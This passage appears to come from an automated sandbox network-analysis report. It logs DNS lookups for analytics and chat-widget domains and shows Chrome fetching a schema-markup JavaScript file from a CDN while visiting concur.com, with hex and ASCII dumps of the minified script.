Oct 3, 2024 10:41:51.508209944 CEST	1.1.1.1	192.168.2.4	0xfa7d	No error (0)	s-part-0039.t-0009.t-msedge.net		13.107.246.67	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:51.508611917 CEST	1.1.1.1	192.168.2.4	0x6db7	No error (0)	www.clarity.ms	clarity.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:51.508611917 CEST	1.1.1.1	192.168.2.4	0x6db7	No error (0)	clarity.azurefd.net	azurefd-t-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:52.005151033 CEST	1.1.1.1	192.168.2.4	0xd2c6	No error (0)	013-gax-394.mktoresp.com		192.28.144.124	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:52.495816946 CEST	1.1.1.1	192.168.2.4	0xf430	No error (0)	www.clarity.ms	clarity.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:52.495816946 CEST	1.1.1.1	192.168.2.4	0xf430	No error (0)	clarity.azurefd.net	azurefd-t-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:52.495816946 CEST	1.1.1.1	192.168.2.4	0xf430	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:52.495816946 CEST	1.1.1.1	192.168.2.4	0xf430	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:52.496296883 CEST	1.1.1.1	192.168.2.4	0x6c90	No error (0)	www.clarity.ms	clarity.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:52.496296883 CEST	1.1.1.1	192.168.2.4	0x6c90	No error (0)	clarity.azurefd.net	azurefd-t-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:53.648102999 CEST	1.1.1.1	192.168.2.4	0x631c	No error (0)	t.clarity.ms	clarity-ingest-eus2-c-sc.eastus2.cloudapp.azure.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:53.648391008 CEST	1.1.1.1	192.168.2.4	0x9eb	No error (0)	t.clarity.ms	clarity-ingest-eus2-c-sc.eastus2.cloudapp.azure.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:54.610595942 CEST	1.1.1.1	192.168.2.4	0x2d04	No error (0)	baxhwilimyrrqzx6lczq-f-71a5b1f66-clientnsv4-s.akamaihd.net	baxhwilimyrrqzx6lczq-f-71a5b1f66.ipv4-only.cname.clienttons.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:54.610595942 CEST	1.1.1.1	192.168.2.4	0x2d04	No error (0)	baxhwilimyrrqzx6lczq-f-71a5b1f66.ipv4-only.cname.clienttons.com	a248.b.akamai.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:54.631499052 CEST	1.1.1.1	192.168.2.4	0xc234	No error (0)	baxhwilimyrrqzx6lczq-f-71a5b1f66-clientnsv4-s.akamaihd.net	baxhwilimyrrqzx6lczq-f-71a5b1f66.ipv4-only.cname.clienttons.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:54.631499052 CEST	1.1.1.1	192.168.2.4	0xc234	No error (0)	baxhwilimyrrqzx6lczq-f-71a5b1f66.ipv4-only.cname.clienttons.com	a248.b.akamai.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:54.944246054 CEST	1.1.1.1	192.168.2.4	0xbb8f	No error (0)	684dd311.akstat.io	wildcard46.akstat.io.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:54.946507931 CEST	1.1.1.1	192.168.2.4	0xd020	No error (0)	684dd311.akstat.io	wildcard46.akstat.io.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:55.048419952 CEST	1.1.1.1	192.168.2.4	0x6bd0	No error (0)	js.driftt.com	dl7g9llrghqi1.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:55.048419952 CEST	1.1.1.1	192.168.2.4	0x6bd0	No error (0)	dl7g9llrghqi1.cloudfront.net		18.245.86.87	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:55.048419952 CEST	1.1.1.1	192.168.2.4	0x6bd0	No error (0)	dl7g9llrghqi1.cloudfront.net		18.245.86.14	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:55.048419952 CEST	1.1.1.1	192.168.2.4	0x6bd0	No error (0)	dl7g9llrghqi1.cloudfront.net		18.245.86.77	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:55.048419952 CEST	1.1.1.1	192.168.2.4	0x6bd0	No error (0)	dl7g9llrghqi1.cloudfront.net		18.245.86.73	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:55.049426079 CEST	1.1.1.1	192.168.2.4	0x12a	No error (0)	insight.adsrvr.org		3.33.220.150	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:55.049426079 CEST	1.1.1.1	192.168.2.4	0x12a	No error (0)	insight.adsrvr.org		15.197.193.217	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:55.049426079 CEST	1.1.1.1	192.168.2.4	0x12a	No error (0)	insight.adsrvr.org		52.223.40.198	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:55.049426079 CEST	1.1.1.1	192.168.2.4	0x12a	No error (0)	insight.adsrvr.org		35.71.131.137	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:55.049796104 CEST	1.1.1.1	192.168.2.4	0x32d7	No error (0)	c.clarity.ms	c.msn.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:55.049796104 CEST	1.1.1.1	192.168.2.4	0x32d7	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:55.051000118 CEST	1.1.1.1	192.168.2.4	0x3692	No error (0)	c.clarity.ms	c.msn.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:55.051000118 CEST	1.1.1.1	192.168.2.4	0x3692	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:55.051987886 CEST	1.1.1.1	192.168.2.4	0xf5c4	No error (0)	zn5i4efhc5klaftno-sapinsights.siteintercept.qualtrics.com	siteintercept.qprod2.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:55.051987886 CEST	1.1.1.1	192.168.2.4	0xf5c4	No error (0)	siteintercept.qprod2.net	prodlb.siteintercept.qualtrics.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:55.052320957 CEST	1.1.1.1	192.168.2.4	0x4f2c	No error (0)	zn4jwrp4ueb3vn6f8-sapinsights.siteintercept.qualtrics.com	siteintercept.qprod2.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:55.052320957 CEST	1.1.1.1	192.168.2.4	0x4f2c	No error (0)	siteintercept.qprod2.net	prodlb.siteintercept.qualtrics.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:55.053770065 CEST	1.1.1.1	192.168.2.4	0xaa09	No error (0)	zn4jwrp4ueb3vn6f8-sapinsights.siteintercept.qualtrics.com	siteintercept.qprod2.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:55.053770065 CEST	1.1.1.1	192.168.2.4	0xaa09	No error (0)	siteintercept.qprod2.net	prodlb.siteintercept.qualtrics.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:55.053961992 CEST	1.1.1.1	192.168.2.4	0x596b	No error (0)	zn5i4efhc5klaftno-sapinsights.siteintercept.qualtrics.com	siteintercept.qprod2.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:55.053961992 CEST	1.1.1.1	192.168.2.4	0x596b	No error (0)	siteintercept.qprod2.net	prodlb.siteintercept.qualtrics.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:55.060779095 CEST	1.1.1.1	192.168.2.4	0xe523	No error (0)	js.driftt.com	dl7g9llrghqi1.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:55.718765974 CEST	1.1.1.1	192.168.2.4	0x419d	No error (0)	siteintercept.qualtrics.com	siteintercept.qprod2.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:55.718765974 CEST	1.1.1.1	192.168.2.4	0x419d	No error (0)	siteintercept.qprod2.net	prodlb.siteintercept.qualtrics.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:55.719090939 CEST	1.1.1.1	192.168.2.4	0xf9e9	No error (0)	siteintercept.qualtrics.com	siteintercept.qprod2.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:55.719090939 CEST	1.1.1.1	192.168.2.4	0xf9e9	No error (0)	siteintercept.qprod2.net	prodlb.siteintercept.qualtrics.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:55.724045992 CEST	1.1.1.1	192.168.2.4	0xbd0c	No error (0)	zn4jwrp4ueb3vn6f8-sapinsights.siteintercept.qualtrics.com	siteintercept.qprod2.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:55.724045992 CEST	1.1.1.1	192.168.2.4	0xbd0c	No error (0)	siteintercept.qprod2.net	prodlb.siteintercept.qualtrics.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:55.724157095 CEST	1.1.1.1	192.168.2.4	0x6707	No error (0)	zn4jwrp4ueb3vn6f8-sapinsights.siteintercept.qualtrics.com	siteintercept.qprod2.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:55.724157095 CEST	1.1.1.1	192.168.2.4	0x6707	No error (0)	siteintercept.qprod2.net	prodlb.siteintercept.qualtrics.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:55.731339931 CEST	1.1.1.1	192.168.2.4	0x429f	No error (0)	zn5i4efhc5klaftno-sapinsights.siteintercept.qualtrics.com	siteintercept.qprod2.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:55.731339931 CEST	1.1.1.1	192.168.2.4	0x429f	No error (0)	siteintercept.qprod2.net	prodlb.siteintercept.qualtrics.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:55.736805916 CEST	1.1.1.1	192.168.2.4	0xd004	No error (0)	zn5i4efhc5klaftno-sapinsights.siteintercept.qualtrics.com	siteintercept.qprod2.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:55.736805916 CEST	1.1.1.1	192.168.2.4	0xd004	No error (0)	siteintercept.qprod2.net	prodlb.siteintercept.qualtrics.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:55.762419939 CEST	1.1.1.1	192.168.2.4	0xa52a	No error (0)	js.adsrvr.org	dg2iu7dxxehbo.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:55.762586117 CEST	1.1.1.1	192.168.2.4	0x2d51	No error (0)	js.adsrvr.org	dg2iu7dxxehbo.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:55.762586117 CEST	1.1.1.1	192.168.2.4	0x2d51	No error (0)	dg2iu7dxxehbo.cloudfront.net		18.172.103.101	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:56.214576006 CEST	1.1.1.1	192.168.2.4	0x10a9	No error (0)	conversation.api.drift.com	istio.api.drift.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:56.214576006 CEST	1.1.1.1	192.168.2.4	0x10a9	No error (0)	istio.api.drift.com	afe79c04fd8464db69f453355c110684-6aa967fe209738b1.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:56.215713978 CEST	1.1.1.1	192.168.2.4	0xdd8b	No error (0)	metrics.api.drift.com	istio.api.drift.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:56.215713978 CEST	1.1.1.1	192.168.2.4	0xdd8b	No error (0)	istio.api.drift.com	afe79c04fd8464db69f453355c110684-6aa967fe209738b1.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:56.216182947 CEST	1.1.1.1	192.168.2.4	0x8391	No error (0)	conversation.api.drift.com	istio.api.drift.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:56.216182947 CEST	1.1.1.1	192.168.2.4	0x8391	No error (0)	istio.api.drift.com	afe79c04fd8464db69f453355c110684-6aa967fe209738b1.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:56.216182947 CEST	1.1.1.1	192.168.2.4	0x8391	No error (0)	afe79c04fd8464db69f453355c110684-6aa967fe209738b1.elb.us-east-1.amazonaws.com		34.193.113.164	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:56.216182947 CEST	1.1.1.1	192.168.2.4	0x8391	No error (0)	afe79c04fd8464db69f453355c110684-6aa967fe209738b1.elb.us-east-1.amazonaws.com		54.147.21.139	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:56.216182947 CEST	1.1.1.1	192.168.2.4	0x8391	No error (0)	afe79c04fd8464db69f453355c110684-6aa967fe209738b1.elb.us-east-1.amazonaws.com		3.94.218.138	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:56.216182947 CEST	1.1.1.1	192.168.2.4	0x8391	No error (0)	afe79c04fd8464db69f453355c110684-6aa967fe209738b1.elb.us-east-1.amazonaws.com		50.16.7.188	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:56.224827051 CEST	1.1.1.1	192.168.2.4	0x6c84	No error (0)	metrics.api.drift.com	istio.api.drift.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:56.224827051 CEST	1.1.1.1	192.168.2.4	0x6c84	No error (0)	istio.api.drift.com	afe79c04fd8464db69f453355c110684-6aa967fe209738b1.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:56.224827051 CEST	1.1.1.1	192.168.2.4	0x6c84	No error (0)	afe79c04fd8464db69f453355c110684-6aa967fe209738b1.elb.us-east-1.amazonaws.com		50.16.7.188	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:56.224827051 CEST	1.1.1.1	192.168.2.4	0x6c84	No error (0)	afe79c04fd8464db69f453355c110684-6aa967fe209738b1.elb.us-east-1.amazonaws.com		54.147.21.139	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:56.224827051 CEST	1.1.1.1	192.168.2.4	0x6c84	No error (0)	afe79c04fd8464db69f453355c110684-6aa967fe209738b1.elb.us-east-1.amazonaws.com		3.94.218.138	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:56.224827051 CEST	1.1.1.1	192.168.2.4	0x6c84	No error (0)	afe79c04fd8464db69f453355c110684-6aa967fe209738b1.elb.us-east-1.amazonaws.com		34.193.113.164	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:56.226176977 CEST	1.1.1.1	192.168.2.4	0x4742	No error (0)	customer.api.drift.com	afe79c04fd8464db69f453355c110684-6aa967fe209738b1.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:56.231857061 CEST	1.1.1.1	192.168.2.4	0x405e	No error (0)	targeting.api.drift.com	istio.api.drift.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:56.231857061 CEST	1.1.1.1	192.168.2.4	0x405e	No error (0)	istio.api.drift.com	afe79c04fd8464db69f453355c110684-6aa967fe209738b1.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:56.231857061 CEST	1.1.1.1	192.168.2.4	0x405e	No error (0)	afe79c04fd8464db69f453355c110684-6aa967fe209738b1.elb.us-east-1.amazonaws.com		34.193.113.164	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:56.231857061 CEST	1.1.1.1	192.168.2.4	0x405e	No error (0)	afe79c04fd8464db69f453355c110684-6aa967fe209738b1.elb.us-east-1.amazonaws.com		3.94.218.138	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:56.231857061 CEST	1.1.1.1	192.168.2.4	0x405e	No error (0)	afe79c04fd8464db69f453355c110684-6aa967fe209738b1.elb.us-east-1.amazonaws.com		50.16.7.188	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:56.231857061 CEST	1.1.1.1	192.168.2.4	0x405e	No error (0)	afe79c04fd8464db69f453355c110684-6aa967fe209738b1.elb.us-east-1.amazonaws.com		54.147.21.139	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:56.234188080 CEST	1.1.1.1	192.168.2.4	0xa582	No error (0)	customer.api.drift.com	afe79c04fd8464db69f453355c110684-6aa967fe209738b1.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:56.234188080 CEST	1.1.1.1	192.168.2.4	0xa582	No error (0)	afe79c04fd8464db69f453355c110684-6aa967fe209738b1.elb.us-east-1.amazonaws.com		50.16.7.188	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:56.234188080 CEST	1.1.1.1	192.168.2.4	0xa582	No error (0)	afe79c04fd8464db69f453355c110684-6aa967fe209738b1.elb.us-east-1.amazonaws.com		54.147.21.139	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:56.234188080 CEST	1.1.1.1	192.168.2.4	0xa582	No error (0)	afe79c04fd8464db69f453355c110684-6aa967fe209738b1.elb.us-east-1.amazonaws.com		3.94.218.138	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:56.234188080 CEST	1.1.1.1	192.168.2.4	0xa582	No error (0)	afe79c04fd8464db69f453355c110684-6aa967fe209738b1.elb.us-east-1.amazonaws.com		34.193.113.164	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:56.254115105 CEST	1.1.1.1	192.168.2.4	0xb29	No error (0)	targeting.api.drift.com	istio.api.drift.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:56.254115105 CEST	1.1.1.1	192.168.2.4	0xb29	No error (0)	istio.api.drift.com	afe79c04fd8464db69f453355c110684-6aa967fe209738b1.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:56.522456884 CEST	1.1.1.1	192.168.2.4	0x8a9e	No error (0)	siteintercept.qualtrics.com	siteintercept.qprod2.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:56.522456884 CEST	1.1.1.1	192.168.2.4	0x8a9e	No error (0)	siteintercept.qprod2.net	prodlb.siteintercept.qualtrics.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:56.523201942 CEST	1.1.1.1	192.168.2.4	0xfb67	No error (0)	siteintercept.qualtrics.com	siteintercept.qprod2.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:56.523201942 CEST	1.1.1.1	192.168.2.4	0xfb67	No error (0)	siteintercept.qprod2.net	prodlb.siteintercept.qualtrics.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:57.706012011 CEST	1.1.1.1	192.168.2.4	0xce4e	No error (0)	c.clarity.ms	c.msn.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:57.706012011 CEST	1.1.1.1	192.168.2.4	0xce4e	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:57.706851006 CEST	1.1.1.1	192.168.2.4	0xbf10	No error (0)	c.clarity.ms	c.msn.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:57.706851006 CEST	1.1.1.1	192.168.2.4	0xbf10	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:43:04.451992035 CEST	1.1.1.1	192.168.2.4	0x604b	No error (0)	t.clarity.ms	clarity-ingest-eus2-c-sc.eastus2.cloudapp.azure.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:43:04.452096939 CEST	1.1.1.1	192.168.2.4	0x3c97	No error (0)	t.clarity.ms	clarity-ingest-eus2-c-sc.eastus2.cloudapp.azure.com		CNAME (Canonical name)	IN (0x0001)	false

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	13.32.121.47	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:24 UTC	538	OUT	GET /javascript/highlight.js HTTP/1.1 Host: cdn.schemaapp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:25 UTC	834	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 38616 Connection: close Date: Thu, 03 Oct 2024 08:41:25 GMT x-amz-replication-status: COMPLETED Last-Modified: Wed, 02 Oct 2024 17:13:38 GMT ETag: "43e82ff0d8e6452d776abff54d3225f5" x-amz-server-side-encryption: AES256 x-amz-version-id: sY4Jjus2nu_BKlZuPR4yF2ytYa6TfwGA Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding X-Cache: Miss from cloudfront Via: 1.1 bf791e1829ff18782cd9837fbba03616.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P1 X-Amz-Cf-Id: 0SHH48W0vH4Cm0BQMM2OoA9AcwGP_z3G44spOGnos83tZT3lLCtZqw== X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains Vary: Origin
2024-10-03 08:41:25 UTC	1409	IN	Data Raw: 28 28 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 74 3d 7b 34 31 37 3a 28 74 2c 69 2c 65 29 3d 3e 7b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 69 2c 22 74 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 69 2e 65 6e 64 70 6f 69 6e 74 73 3d 69 2e 69 3d 76 6f 69 64 20 30 3b 63 6f 6e 73 74 20 73 3d 65 28 37 33 34 29 2c 6e 3d 65 28 39 38 33 29 2c 6f 3d 65 28 31 33 31 29 2c 72 3d 65 28 38 34 36 29 2c 68 3d 65 28 39 38 39 29 2c 75 3d 65 28 38 34 34 29 2c 63 3d 65 28 32 30 29 2c 61 3d 65 28 31 31 36 29 2c 6c 3d 65 28 38 33 37 29 2c 64 3d 65 28 36 37 35 29 2c 76 3d 7b 6f 3a 22 68 74 74 70 73 3a 2f 2f 61 70 69 2e 73 63 68 65 6d 61 61 70 70 2e 63 6f 6d 2f 6d 61 72 6b 75 70 2f 6d 61 72 6b 75 70 3f 75 72 6c 3d 22 2c 68 3a 22 68 74 Data Ascii: (()=>{"use strict";var t={417:(t,i,e)=>{Object.defineProperty(i,"t",{value:!0}),i.endpoints=i.i=void 0;const s=e(734),n=e(983),o=e(131),r=e(846),h=e(989),u=e(844),c=e(20),a=e(116),l=e(837),d=e(675),v={o:"https://api.schemaapp.com/markup/markup?url=",h:"ht
2024-10-03 08:41:25 UTC	16384	IN	Data Raw: 65 70 6c 61 63 65 28 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 61 70 70 2e 63 6f 6d 2f 64 62 2f 22 2c 22 22 29 2e 73 70 6c 69 74 28 22 2f 22 29 3b 72 65 74 75 72 6e 7b 46 3a 69 5b 30 5d 2c 52 3a 69 2e 6c 65 6e 67 74 68 3e 31 3f 69 5b 31 5d 3a 76 6f 69 64 20 30 2c 63 6f 6d 70 6c 65 74 65 3a 69 2e 6a 6f 69 6e 28 22 2f 22 29 7d 7d 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 73 74 61 74 69 63 20 6b 28 29 7b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 21 3d 3d 77 69 6e 64 6f 77 2e 73 63 68 65 6d 61 5f 68 69 67 68 6c 69 67 68 74 65 72 26 26 77 69 6e 64 6f 77 2e 73 63 68 65 6d 61 5f 68 69 67 68 6c 69 67 68 74 65 72 2e 49 3f 77 69 6e 64 6f 77 2e 73 63 68 65 6d 61 5f 68 69 67 68 6c 69 67 68 74 65 72 2e 49 3a 6e 75 6c 6c 7d 73 74 61 74 69 63 20 43 28 29 7b 72 65 74 75 72 6e 20 Data Ascii: eplace("http://schemaapp.com/db/","").split("/");return{F:i[0],R:i.length>1?i[1]:void 0,complete:i.join("/")}}return null}static k(){return void 0!==window.schema_highlighter&&window.schema_highlighter.I?window.schema_highlighter.I:null}static C(){return
2024-10-03 08:41:25 UTC	16384	IN	Data Raw: 74 29 29 7d 63 61 74 63 68 28 74 29 7b 6f 28 74 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 68 28 74 29 7b 74 72 79 7b 75 28 73 2e 74 68 72 6f 77 28 74 29 29 7d 63 61 74 63 68 28 74 29 7b 6f 28 74 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 75 28 74 29 7b 76 61 72 20 69 3b 74 2e 64 6f 6e 65 3f 6e 28 74 2e 76 61 6c 75 65 29 3a 28 69 3d 74 2e 76 61 6c 75 65 2c 69 20 69 6e 73 74 61 6e 63 65 6f 66 20 65 3f 69 3a 6e 65 77 20 65 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 28 69 29 7d 29 29 29 2e 74 68 65 6e 28 72 2c 68 29 7d 75 28 28 73 3d 73 2e 61 70 70 6c 79 28 74 2c 69 7c 7c 5b 5d 29 29 2e 6e 65 78 74 28 29 29 7d 29 29 7d 3b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 69 2c 22 74 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 69 2e 79 69 3d 76 6f 69 64 20 Data Ascii: t))}catch(t){o(t)}}function h(t){try{u(s.throw(t))}catch(t){o(t)}}function u(t){var i;t.done?n(t.value):(i=t.value,i instanceof e?i:new e((function(t){t(i)}))).then(r,h)}u((s=s.apply(t,i\|\|[])).next())}))};Object.defineProperty(i,"t",{value:!0}),i.yi=void
2024-10-03 08:41:25 UTC	4439	IN	Data Raw: 2e 66 65 7d 5a 74 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 50 65 7d 6d 65 28 74 29 7b 63 6f 6e 73 74 20 69 3d 5b 5d 2c 65 3d 5b 5d 3b 72 65 74 75 72 6e 20 74 2e 66 6f 72 45 61 63 68 28 28 74 3d 3e 7b 2d 31 3d 3d 3d 72 2e 4a 65 2e 69 6e 64 65 78 4f 66 28 74 2e 6e 61 6d 65 29 3f 69 2e 70 75 73 68 28 74 29 3a 65 2e 70 75 73 68 28 74 29 7d 29 29 2c 74 68 69 73 2e 79 65 3d 69 2c 74 68 69 73 2e 62 65 3d 65 2c 5b 69 2c 65 5d 7d 4f 65 28 29 7b 74 68 69 73 2e 62 65 2e 66 6f 72 45 61 63 68 28 28 74 3d 3e 7b 63 6f 6e 73 74 20 69 3d 74 2e 65 76 61 6c 75 61 74 65 28 74 68 69 73 2e 64 65 29 3b 69 2e 70 72 6f 6d 69 73 65 26 26 74 68 69 73 2e 78 65 28 74 2c 69 2e 70 72 6f 6d 69 73 65 2c 74 68 69 73 2e 70 65 29 2c 69 2e 72 65 73 75 6c 74 26 26 21 69 2e 55 74 26 26 28 Data Ascii: .fe}Zt(){return this.Pe}me(t){const i=[],e=[];return t.forEach((t=>{-1===r.Je.indexOf(t.name)?i.push(t):e.push(t)})),this.ye=i,this.be=e,[i,e]}Oe(){this.be.forEach((t=>{const i=t.evaluate(this.de);i.promise&&this.xe(t,i.promise,this.pe),i.result&&!i.Ut&&(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49752	13.32.121.47	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
